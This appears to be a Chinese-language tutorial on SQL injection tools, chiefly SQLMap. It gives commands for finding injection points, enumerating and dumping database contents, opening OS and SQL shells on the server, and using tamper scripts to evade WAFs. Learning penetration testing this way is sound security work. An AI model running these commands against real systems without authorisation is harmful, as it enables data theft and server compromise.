Skip to content

要获取数据、扩大权限,需要输入很复杂的 SQL 语句,测试大批 URL 时更加麻烦,使用工具能够解决。目前主流的注入工具有:SQLMap、Pangolin、BSQL Hacker、Havij、The Mole 等。

  • 许多安全相关的工具可以查看 SecTools.org。

1. SQLMap

一个开放源码的渗透测试工具,可以自动检测和利用 SQL 注入漏洞。基于 Python 编写,跨平台。

  • 数据库支持包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 、Microsoft Access、IBMDB2、SQLite、Firebird、Sybase、SAP MaxDB;
  • 注入类型包括 SQL 盲注、UNION 注入、显错式注入、时间盲注、盲推理注入、堆查询注入等;
  • 支持枚举用户、密码哈希、权限、角色、数据库、表和列;
  • 支持执行任意命令;
  • 自动识别密码加密方式,且可以使用字典解密;
  • 支持数据导出功能。

官网: https://sqlmap.org/

1.1 使用 SQLMap

  • 命令一般都是通用的,极少数是针对个别数据库的。

第一步:判断是否是注入点

sqlmap.py -u "http://www.example.com/user.jsp?id=1"

-u 参数指定 URL,如果 URL 存在注入点,将显示出 Web 容器、数据库版本信息。

第二步:获取数据库

sqlmap.py -u "..." --dbs

--dbs 参数读取数据库。

第三步:查看当前应用程序所使用的数据库

sqlmap.py -u ... --current-db

--current-db 参数列出当前应用程序所使用的数据库。

第四步:列出指定数据库的所有表

sqlmap.py -u ... --tables -D "..."

--table 参数获取数据库表, -D 参数指定数据库。

第五步:读取指定表中的字段名称

sqlmap.py -u ... --columns -T "..." -D "..."

第六步:读取指定字段内容

sqlmap.py -u ... --dump -C "..." -T "..." -D "..."

--dump 转存数据。读取数据后,SQLMap 会把数据转存到 SQLMap/output/ 目录下,文件以 Table.cvs 保存。

1.2 SQLMap 参数

1.2.1 测试注入点权限

sqlmap.py -u [URL] --privileges 测试所有用户的权限;

sqlmap.py -u [URL] --privileges -U sa 测试 sa 用户的权限。

  • SQLMap 命令区分大小写。

1.2.2 执行 Shell 命令

sqlmap.py -u [URL] --os-cmd="net user" 执行 net user 命令(会检测服务器操作系统启动对应的 cmd.exe 或 shell)

sqlmap.py -u [URL] --os-shell 启动系统交互的 shell

1.2.3 执行 SQL 命令

sqlmap.py -u [URL] --sql-shell 返回 SQL 交互的 shell,可以执行 SQL 语句。

sqlmap.py -u [URL] --sql-query="sql语句" 单词执行 SQL 语句。

1.2.4 POST 提交方式

sqlmap.py -u [URL] --data "POST参数"

  • GET 的参数在 HTTP 请求头的第一行(URL 中)。

  • POST 的参数在 HTTP 请求的末尾(Body 部分)。 如果不加 --data,sqlmap 默认只会去扫描 URL,从而漏掉隐藏在表单里的漏洞。

1.2.5 显示详细的等级

sqlmap.py -u [URL] --dbs -v 1

-v 参数包含以下 7 个等级

  • 0 -- 只显示 Python 的回溯、错误和关键信息;
  • 1 -- 显示信息和警告信息;
  • 2 -- 显示调试信息;
  • 3 -- 有效载荷注入;
  • 4 -- 显示 HTTP 请求;
  • 5 -- 显示 HTTP 响应头;
  • 6 -- 显示 HTTP 响应页面的内容。

1.2.6 注入 HTTP 请求

sqlmap.py -r head.txt --dbs

head.txt 内容为 HTTP 请求

1.2.7 直接连接到数据库

sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" --dbs

1.2.8 注入等级

sqlmap.py -u [URL] --level 3

1.2.9 将注入语句插入到指定位置

sqlmap.py -u "http://www.example.com/id/2*.html" --dbs

  • 处理伪静态网页,后端逻辑:

    • 用户访问:/id/2.html

    • 服务器重写为:/article.php?id=2

    • 数据库执行:SELECT * FROM articles WHERE id = 2

    • 指定在 * 位置测试 Payload

同样在使用 -r 对 HTTP 请求注入时,也可以直接在文本中插入 * 号。

1.2.10 使用 SQLMap 插件

SQLMap 自带很多插件,可针对注入的 SQL 语句进行编码等操作,插件都保存在 SQLMap 目录下的 tamper 文件夹中,插件通常用来绕过 WAF。

sqlmap.py -u [URL] -tamper "space2morehash.py"

  • 更详细的 SQLMap 参数: sqlmap.py -hh 或参考 官方文档